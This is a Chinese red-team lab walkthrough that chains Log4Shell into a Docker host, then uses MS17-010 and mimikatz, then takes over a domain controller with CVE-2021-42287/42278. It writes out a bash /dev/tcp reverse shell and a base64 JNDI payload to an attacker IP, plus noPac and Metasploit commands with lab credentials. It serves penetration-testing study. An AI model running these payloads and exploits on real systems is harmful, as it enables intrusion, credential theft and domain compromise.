从外网 log4j2 RCE 再到内网组合拳漏洞 CVE-2021-42287、CVE-2021-42278 拿到 DC - 渗透测试中心
2023-2-24 11:25:0 Author: www.cnblogs.com(查看原文) 阅读量:74 收藏

网络拓扑

信息搜集

渗透测试第一步当然是信息搜集

拿到 IP192.168.81.151我们先使用nmap对他进行常规TCP端口的扫描

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.81.151

发现开放了22,38080这两个端口

通过nmap我们可以得知这是一台Ubuntu,22是ssh,而38080这个端口是unknown的,我们尝试访问一下

于是尝试最近爆出的新漏洞 CVE-2021-44228 尝试看看能不能获取到 dnslog

发现存在 CVE-2021-44228漏洞,尝试去获取一个shell

CVE-2021-44228 利用

首先在我们的VPS kali(192.168.81.133) 开启一个LDAP:

git clone https://github.com/black9/Log4shell_JNDIExploit.git

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.81.133

然后在kali上nc监听9999端口:

我们使用TOMCATBYpass进行反弹shell

/bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反弹shell

反弹shell命令需要进行base64编码

BP抓包,改为post传参并且构造payload

payload=${jndi:ldap://192.168.81.133:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzMy85OTk5IDA+JjE=}

最后使用EXP成功反弹shell,要对base64编码进行两次url编码才能执行

发现当前拿到的shell是一个docker容器

想办法逃逸也失败了,最后在/root/目录下找到了flag文件:

flag{redteam.lab-1}

Congratulations, you got this: saul Saul123

得到了一个flag,还有一个类似于账号密码的东西

在信息收集中nmap扫到目标主机开放22ssh服务,因此思考可能是ssh的账号密码

内网信息搜集

通过上节得到的账号和密码登陆到了Ubuntu系统

我们可以看到当前机器拥有两块网卡,一块ens33用于链接外网,一块ens38用于内网通信

在实战的内网渗透中:如果是在 linux 环境下的内网渗透尽量形成全部 bash  python 化,因为 Linux 都完全自带,而在 windows 下的内网渗透则尽量全部形成 powershell,bat、vbs 化,尽量不要过于依赖外部工具。

所以我们使用for循环ping一下ens38的c段网络

for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

发现内网还有一台机器10.0.1.7存在

或者使用 scan info 工具进行内网信息收集

kali中使用python快速搭建httpd

在这里插入图片描述

靶机下载工具并赋予权限

在这里插入图片描述

进行内网信息收集

在这里插入图片描述

发现10.0.1.7存活并存在MS17-010

随后为了方便,我选择用 frp 把当前机器的流量代理出来:

配置frps.ini

配置frpc.ini

然后使用 Metasploit 设置 Socks5 对内网进行深度信息搜集;

setg Proxies socks5:192.168.81.133:8888
setg ReverseAllowProxy true

使用 smb 版本探测模块对目标进行扫描:

use auxiliary/scanner/smb/smb_version

发现目标10.0.1.7版本是windows7,并且存在域REDTEAM

既然是windows7,那么就可能存在MS17-010漏洞

MS17-010利用

通过上节,我们知道了10.0.1.7是win7,接下来进行探测

通过探测得知这台机器是存在ms17-010漏洞的

由于目标是内网不一定出网,故而tcp反射连接不能使用 设置为payload正向bind_tcp

直接拿到win7权限,然后加载mimikataz把密码抓出来

Username   Domain   Password
root REDTEAM Red12345
meterpreter > load mimikatz  加载工具

meterpreter > creds_all      列出凭证  
注意命令是从内存中抓取密码,靶场原始状态为暂停恢复即可,如果重启过需要登录一次win7

这个时候就得到了一个域用户的账号了。

内网利器 CVE-2021-42287、CVE-2021-42278

通过对当前内网的信息搜集之后发现,win7还有一块内网的网卡

且定位到域控到域控 IP  10.0.0.12

由于最近爆出了两个域内漏洞:CVE-2021-42287、CVE-2021-42278,直接尝试利用一下。

具体原理是:假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞CVE-2021-42287创建一个机器用户saulGoodman,再把机器用户 saulGoodman的sAMAccountName改成DC。然后利用DC去申请一个TGT票据。再把DC的sAMAccountName改为sAMAccountName。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(DC是域内已经的域控DC  sAMAccountName),攻击者利用刚刚申请的 TGT进行 S4U2self,模拟域内的域管去请求域控 DC  ST 票据,最终获得域控制器DC的权限。

于是直接使用MSF添加一个socks5

添加路由

run autoroute -s 10.0.0.7/24

然后我们把本地的代理加上就行了

利用工具下载地址

https://github.com/WazeHell/sam-the-admin

https://github.com/Ridter/noPac

https://github.com/waterrr/noPac

然后利用脚本即可

proxychains python3 sam_the_admin.py "redteam.lab/root:Red12345" -dc-ip 10.0.0.12 -shell
proxychains python noPac.py redteam.lab/root:'Red12345' -dc-ip 10.0.0.12 -shell --impersonate administrator -use-ldap
proxychains python3 exp.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

最后也是拿到了最终的 Flag。



文章来源: https://www.cnblogs.com/backlion/p/17150670.html
如有侵权请联系:admin#unsafe.sh